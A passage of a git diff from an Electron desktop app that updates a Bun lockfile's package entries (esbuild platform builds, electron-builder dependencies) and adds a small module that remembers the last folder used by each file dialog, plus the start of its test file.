"sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "tsx/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ=="], + + "tsx/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.28.2", "", { "os": "android", "cpu": "arm" }, "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg=="], + + "tsx/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.2", "", { "os": "android", "cpu": "arm64" }, "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A=="], + + "tsx/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.28.2", "", { "os": "android", "cpu": "x64" }, "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q=="], + + "tsx/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw=="], + + "tsx/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw=="], + + "tsx/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw=="], + + "tsx/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg=="], + + "tsx/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.2", "", { "os": "linux", "cpu": "arm" }, "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w=="], + + "tsx/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug=="], + + "tsx/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.2", "", { "os": "linux", "cpu": "ia32" }, "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ=="], + + "tsx/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ=="], - "tar-stream/readable-stream/string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], + "tsx/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA=="], - "wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="], + "tsx/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ=="], - "wrap-ansi/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + "tsx/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA=="], - "@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="], + "tsx/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg=="], + + "tsx/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.2", "", { "os": "linux", "cpu": "x64" }, "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ=="], + + "tsx/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw=="], + + "tsx/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.2", "", { "os": "none", "cpu": "x64" }, "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw=="], + + "tsx/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ=="], + + "tsx/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw=="], + + "tsx/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q=="], + + "tsx/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g=="], + + "tsx/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ=="], + + "tsx/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA=="], + + "tsx/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g=="], + + "wrap-ansi-cjs/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "wrap-ansi-cjs/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "@electron/asar/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "@electron/universal/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "@radix-ui/react-avatar/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.5", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-+48PbAAbq3didjJxa+OaWY2ZwgAKsNiRGyeHKszblZMQ+kcpd9pAaT11cMkGEie0vsOi3QdeTE6d5Fe3Gn61kA=="], "app-builder-lib/@electron/get/fs-extra/jsonfile": ["jsonfile@4.0.0", "", { "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg=="], "app-builder-lib/@electron/get/fs-extra/universalify": ["universalify@0.1.2", "", {}, "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="], - "app-builder-lib/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], + "body-parser/qs/side-channel/side-channel-list": ["side-channel-list@1.0.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4" } }, "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w=="], + + "cacache/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + + "cli-truncate/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "dir-compare/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/get/fs-extra": ["fs-extra@8.1.0", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^4.0.0", "universalify": "^0.1.0" } }, "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/get/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/node-gyp": ["node-gyp@11.5.0", "", { "dependencies": { "env-paths": "^2.2.0", "exponential-backoff": "^3.1.1", "graceful-fs": "^4.2.6", "make-fetch-happen": "^14.0.3", "nopt": "^8.0.0", "proc-log": "^5.0.0", "semver": "^7.3.5", "tar": "^7.4.3", "tinyglobby": "^0.2.12", "which": "^5.0.0" }, "bin": { "node-gyp": "bin/node-gyp.js" } }, "sha512-ra7Kvlhxn5V9Slyus0ygMa2h+UqExPqUIkfk7Pc8QTLT956JLSy51uWFwHtIYy0vI8cB4BDhc/S03+880My/LQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs": ["yargs@17.7.2", "", { "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" } }, "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w=="], + + "electron-builder-squirrel-windows/app-builder-lib/dmg-builder/iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish/form-data": ["form-data@4.0.5", "", { "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", "hasown": "^2.0.2", "mime-types": "^2.1.12" } }, "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w=="], + + "electron-builder-squirrel-windows/app-builder-lib/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="], + + "electron-builder-squirrel-windows/app-builder-lib/which/isexe": ["isexe@3.1.5", "", {}, "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w=="], + + "electron-builder-squirrel-windows/builder-util/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "electron-builder/yargs/cliui/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "electron-builder/yargs/cliui/wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + + "electron-builder/yargs/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "electron-builder/yargs/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "filelist/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "rimraf/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + + "sileo/motion/framer-motion/motion-dom": ["motion-dom@12.35.0", "", { "dependencies": { "motion-utils": "^12.29.2" } }, "sha512-FFMLEnIejK/zDABn+vqGVAUN4T0+3fw+cVAY8MMT65yR+j5uMuvWdd4npACWhh94OVWQs79CrBBuwOwGRZAQiA=="], + + "sileo/motion/framer-motion/motion-utils": ["motion-utils@12.29.2", "", {}, "sha512-G3kc34H2cX2gI63RqU+cZq+zWRRPSsNIOjpdl9TN4AQwC4sgwYPl/Q/Obf/d53nOm569T0fYK+tcoSV50BWx8A=="], + + "cacache/glob/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/get/fs-extra/jsonfile": ["jsonfile@4.0.0", "", { "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/get/fs-extra/universalify": ["universalify@0.1.2", "", {}, "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/node-gyp/nopt": ["nopt@8.1.0", "", { "dependencies": { "abbrev": "^3.0.0" }, "bin": { "nopt": "bin/nopt.js" } }, "sha512-ieGu42u/Qsa4TFktmaKEwM6MQH0pOWnaB3htzh0JRtx84+Mebc0cbZYN5bC+6WTZ4+77xrL9Pn5m7CV6VIkV7A=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/node-gyp/proc-log": ["proc-log@5.0.0", "", {}, "sha512-Azwzvl90HaF0aCz1JrDdXQykFakSSNPaPoiZ9fm5qJIMHioDZEi7OAdRwSm6rSoPtY3Qutnm3L7ogmg3dc+wbQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish/form-data/hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish/form-data/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + + "electron-builder/yargs/cliui/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "electron-builder/yargs/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "rimraf/glob/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/node-gyp/nopt/abbrev": ["abbrev@3.0.1", "", {}, "sha512-AO2ac6pjRB3SJmGJo+v5/aK6Omggp6fsLrs6wN9bd35ulu4cCwaAU9+7ZhXjeqHVkaHThLuzH0nZr0YpCDhygg=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/cliui/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/cliui/wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "electron-builder-squirrel-windows/app-builder-lib/electron-publish/form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], - "cli-truncate/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/cliui/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], - "ora/cli-cursor/restore-cursor/onetime": ["onetime@5.1.2", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="], + "electron-builder-squirrel-windows/app-builder-lib/@electron/rebuild/yargs/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], } } diff --git a/desktop/main/dialog-paths.mjs b/desktop/main/dialog-paths.mjs new file mode 100644 index 00000000..44b8c257 --- /dev/null +++ b/desktop/main/dialog-paths.mjs @@ -0,0 +1,50 @@ +import { existsSync } from "node:fs"; +import path from "node:path"; + +import { readTextFile, writeTextFile } from "../../scripts/desktop/state.mjs"; + +// Electron 43+ opens dialogs in Downloads when no defaultPath is passed, where +// the OS used to reopen the last folder, even across restarts. Remember the +// folder of the last pick per dialog kind in a small file so the next dialog +// of that kind starts there again, and use the fallback (the home folder) +// until the first pick or once the remembered folder is gone. +export function createDialogDefaultPaths({ fallbackPath, filePath }) { + let savedPaths; + + function load() { + savedPaths ??= readTextFile(filePath) + .then((contents) => { + const parsed = contents ? JSON.parse(contents) : null; + return parsed && typeof parsed === "object" && !Array.isArray(parsed) + ? parsed + : {}; + }) + .catch(() => ({})); + + return savedPaths; + } + + return { + async current(kind) { + const savedPath = (await load())[kind]; + return typeof savedPath === "string" && existsSync(savedPath) + ? savedPath + : fallbackPath; + }, + async remember(kind, result) { + const [selectedPath] = result?.canceled ? [] : (result?.filePaths ?? []); + if (!selectedPath) { + return; + } + + const paths = await load(); + paths[kind] = path.dirname(selectedPath); + await writeTextFile( + filePath, + `${JSON.stringify(paths, null, 2)}\n`, + ).catch((error) => { + console.warn("[desktop] could not save dialog folders:", error); + }); + }, + }; +} diff --git a/desktop/main/dialog-paths.test.mjs b/desktop/main/dialog-paths.test.mjs new file mode 100644 index 00000000..efab65c0 --- /dev/null +++ b/desktop/main/dialog-paths.test.mjs @@ -0,0 +1,120 @@ +import { afterEach, describe, expect, it } from "bun:test"; +import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; + +import { createDialogDefaultPaths } from "./dialog-paths.mjs"; + +const tempRoots = []; + +async function createFixture() { + const root = await mkdtemp(path.join(os.tmpdir(), "dialog-paths-")); + tempRoots.push(root); + const homePath = 